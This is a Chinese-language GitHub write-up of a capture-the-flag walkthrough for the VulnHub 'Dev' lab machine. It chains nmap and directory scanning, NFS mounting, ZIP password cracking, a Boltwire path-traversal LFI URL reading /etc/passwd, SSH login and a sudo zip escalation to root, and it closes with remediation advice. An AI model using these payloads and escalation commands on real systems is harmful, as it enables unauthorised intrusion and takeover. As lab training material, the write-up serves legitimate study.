WNobsi/TCM-Dev-Machine-Walkthrough

GitHub: WNobsi/TCM-Dev-Machine-Walkthrough

这是一份针对 VulnHub Dev 靶机的完整渗透测试通关文档,详细记录了从信息收集到权限提升的完整攻击链与修复建议。

Stars: 0 | Forks: 0

# Dev - VulnHub 通关指南 # 目录 - 执行摘要 - 机器信息 - 攻击路径概述 - 信息收集 - 枚举 - 漏洞利用 - 权限提升 - 获取 Flag - 漏洞评估 - 修复与加固 - 关键收获 - 渗透测试员最终观察 # 执行摘要 **Dev** 机器演示了如何将多个低危和中危漏洞链接在一起,从而实现完整的系统攻陷。 攻击链包括: 1. 信息泄露 2. 目录枚举 3. NFS 配置不当 4. 本地文件包含 (LFI) 5. 凭证泄露 6. SSH 访问 7. Sudo 配置不当 8. Root 权限攻陷 # 机器信息 | 属性 | 值 | |-----------|--------| | 机器 | Dev | | 平台 | VulnHub | | 难度 | 简单-中等 | | 操作系统 | Linux | | 作者 | TCM Security | | 目标 | 获取 Root 权限 | # 攻击路径概述 ``` Recon └── Port Discovery └── Web Enumeration └── Directory Enumeration └── NFS Enumeration └── LFI └── Credential Discovery └── SSH Access └── Privilege Escalation └── Root ``` # 信息收集 ## 主机发现 ``` netdiscover ``` 或者 ``` nmap -sn 192.168.126.0/24 ``` 目标: ``` 192.168.126.133 ``` ## 端口扫描 ``` nmap -sC -sV -A -Pn 192.168.126.133 ``` ### 开放端口 | 端口 | 服务 | |------|----------| | 22 | SSH | | 80 | HTTP | | 2049 | NFS | | 8080 | HTTP | ## 渗透测试员观察 该机器暴露了多个服务,直接增加了攻击面。NFS 和两个 Web 服务的同时存在表明有多个潜在的入口点。 # 枚举 ## Web 枚举 ``` nikto -h http://192.168.126.133 ``` 应用程序泄露了: - 开发信息 - 技术栈信息 - 潜在的调试残留信息 ## 目录枚举 ### Feroxbuster ``` feroxbuster -u http://192.168.126.133 -x php ``` ### FFUF ``` ffuf -u http://192.168.126.133/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt ``` ### 有趣的目录 ``` /app /src /dev ``` ## 渗透测试员观察 像 `/app` 和 `/src` 这样的目录通常包含源代码、凭证或配置文件,应始终作为重点排查对象。 # 应用程序枚举 位于以下地址的应用程序: ``` http://192.168.126.133:8080/dev ``` 允许用户注册。 凭证: ``` Username: test Password: test ``` 发现了搜索功能。 ## 渗透测试员观察 搜索功能通常会导致以下漏洞: - SQL 注入 - 命令注入 - 本地文件包含 # NFS 枚举 ## 枚举共享 ``` showmount -e 192.168.126.133 ``` 发现的共享: ``` /srv/nfs ``` 挂载该共享: ``` mkdir /mnt/dev mount -t nfs 192.168.126.133:/srv/nfs /mnt/dev ``` 发现: ``` save.zip ``` ## 破解 ZIP ``` fcrackzip -D -p rockyou.txt save.zip ``` 发现的信息: - SSH 私钥 - 用户参考:`jp` - 密码候选:`I_love_java` ## 渗透测试员观察 NFS 共享通常会暴露备份文件和敏感信息,这些信息对后渗透活动有极大的帮助。 # 漏洞利用 ## Boltwire CMS 研究 漏洞参考: https://www.exploit-db.com/exploits/48411 ## 本地文件包含 ``` http://192.168.126.133:8080/dev/index.php?p=action.search&action=../../../../../../../etc/passwd ``` 结果: ``` jeanpaul:x:1000:1000:jeanpaul,,,:/home/jeanpaul:/bin/bash ``` ## 凭证发现 配置文件: ``` /app/config/config.yml ``` 用于以下用途的凭证: ``` jeanpaul ``` 已被恢复。 ## 初始访问 ``` ssh jeanpaul@192.168.126.133 ``` 成功登录。 ## 渗透测试员观察 配置文件是枚举过程中最有价值的攻击目标之一,因为它们经常包含硬编码的凭证和应用程序密钥。 # 权限提升 ## 枚举 Sudo 权限 ``` sudo -l ``` 输出: ``` (ALL) NOPASSWD: /usr/bin/zip ``` ## 通过 GTFOBins 滥用 Zip ``` touch data.txt zip data.zip data.txt sudo zip data.zip data.txt -T --unzip-command='sh -c /bin/sh' ``` 验证: ``` whoami ``` 输出: ``` root ``` ## 渗透测试员观察 配置不当的 sudo 权限仍然是 Linux 系统上最常见且影响深远的权限提升途径之一。 # 获取 Flag ``` cd /root ls cat flag.txt ``` 成功捕获 Root flag。 # 漏洞评估 | 漏洞 | 严重程度 | |--------------|-----------| | 信息泄露 | 中危 | | 暴露的目录 | 中危 | | NFS 配置不当 | 高危 | | 本地文件包含 | 高危 | | 硬编码凭证 | 高危 | | Sudo 配置不当 | 严重 | # 修复与加固 ## 优先级 1 – 移除危险的 Sudo 权限 ``` visudo ``` 移除: ``` (ALL) NOPASSWD: /usr/bin/zip ``` ## 优先级 2 – 修补 Boltwire CMS - 升级应用程序 - 验证用户输入 - 限制文件访问 ## 优先级 3 – 移除硬编码凭证 - 使用环境变量 - 轮换凭证 - 实施密钥管理 ## 优先级 4 – 加固 NFS ``` /srv/nfs 192.168.126.0/24(ro,sync,no_subtree_check) ``` ## 优先级 5 – 减少信息泄露 - 禁用调试信息 - 移除开发文件 - 隐藏堆栈跟踪 # 关键收获 - 枚举是攻破靶机的关键。 - 低危发现同样重要。 - 永远不要忽视 NFS。 - 配置文件是金矿。 - 搜索功能通常隐藏着严重漏洞。 - 掌握 GTFOBins 知识非常宝贵。 # 渗透测试员最终观察 **Dev** 机器完美地演示了攻击者如何将看似无害的发现链接起来,最终实现完整的系统攻陷。 没有任何单一的漏洞能直接获取 root 访问权限。相反,成功取决于: 1. 详尽的枚举。 2. 信息收集。 3. 利用应用程序弱点。 4. 凭证获取。 5. 滥用权限配置不当。
标签:CSV导出, CTI, MISP, PE 加载器, Web报告查看器, 内存分配, 协议分析, 本地文件包含, 权限提升, 漏洞分析, 网络安全审计, 网页分析工具, 路径探测, 防御加固, 靶场实践